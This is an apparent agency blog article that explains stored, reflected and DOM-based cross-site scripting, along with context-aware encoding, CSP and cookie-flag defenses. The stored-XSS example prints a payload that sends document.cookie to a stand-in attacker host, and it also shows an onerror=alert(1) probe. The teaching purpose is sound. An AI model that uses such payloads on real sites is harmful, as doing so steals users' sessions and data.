Skip to content
Innovialabs

What Is XSS: Cross-Site Scripting Types and Examples

Basics3 min

In short

XSS is a vulnerability that lets someone else's JavaScript run on your site in a user's browser. The core defense is encoding all data on output for its context: HTML, attribute, URL or script.

What XSS is

XSS (Cross-Site Scripting) is a vulnerability where an attacker gets your site to deliver their JavaScript to users. The browser cannot tell that code apart from yours and runs it with the same privileges: access to the page, its data and actions on behalf of the user.

The cause is almost always the same: user-controlled data reaches the HTML without encoding, and the browser treats it as markup or code.

Three types of XSS

TypeWhere the payload livesHow the victim gets it
StoredIn the databaseOpens a normal page with infected content
ReflectedIn a link or requestClicks a crafted link
DOM-basedHandled only in the browserThe page's own JavaScript inserts data into the DOM

Stored XSS

An attacker posts a comment:

<img src="x" onerror="fetch('https://evil.example/c?d='+document.cookie)">

If the site renders comments as HTML, the code runs for everyone who opens the page, admins included. This is the most dangerous type because it fires without any further action from the attacker.

Reflected XSS

A search page prints the query: "Results for: …". The attacker sends the victim a link:

https://shop.example/search?q=<script>/* malicious code */</script>

The server "reflects" the parameter into the response and the script runs. The link is usually hidden behind a URL shortener or a button in an email.

DOM-based XSS

The server is not involved; the client code is vulnerable:

// vulnerable: data from the URL is inserted as HTML
document.getElementById("greeting").innerHTML = location.hash.slice(1);

A link like page.html#<img src=x onerror=alert(1)> will execute code. Risky sinks include innerHTML, outerHTML, document.write, eval and setTimeout with a string.

What an attacker can steal

The script runs in your site's context, so it can:

  • Hijack the session if cookies lack HttpOnly, or grab tokens from localStorage.
  • Act as the user: change email and password, transfer money, publish content.
  • Read page data: private messages, payment details, documents.
  • Spoof the interface: show a fake login form on your real domain.
  • Log keystrokes and send them to the attacker's server.

Defense principles

Context-aware output encoding

The main rule: encode data on output, not only "clean" it on input. How depends on where the data lands:

ContextWhat to do
Text inside HTMLReplace <, >, &, ", ' with HTML entities
Attribute valueAlways quote it, plus HTML encoding
URL in href/srcencodeURIComponent for parameters, allow only http: and https:
Inside <script>Do not insert data directly; pass it via JSON or data attributes
CSSAvoid user data in styles

Modern template engines and frameworks (Jinja2, Blade, React, Angular) escape text by default. Vulnerabilities appear when someone turns that off.

Extra layers

  • An HTML sanitizer (such as DOMPurify) when users genuinely need to submit markup.
  • Content Security Policy to block inline scripts and code from foreign domains.
  • Cookies with HttpOnly, Secure and SameSite so scripts cannot read the session.
  • Input validation helps, but never replaces encoding.

Common mistakes

  • Blocklists like "remove the word script". They are easily bypassed with event attributes and other tags.
  • Using HTML encoding where data actually lands in a URL or JavaScript.
  • Trusting data from "internal" sources: admin panels, the CRM, third-party APIs.

FAQ

No. Data comes from more than forms: URL parameters, the URL hash, headers, external API responses, imported files.

We can help with this

If you'd rather get the result than figure it all out yourself — this is what we do every day.

Discuss a project

Read next

Have an idea or a task? Tell us about it

We'll reply within one business day and propose a solution. The consultation is free.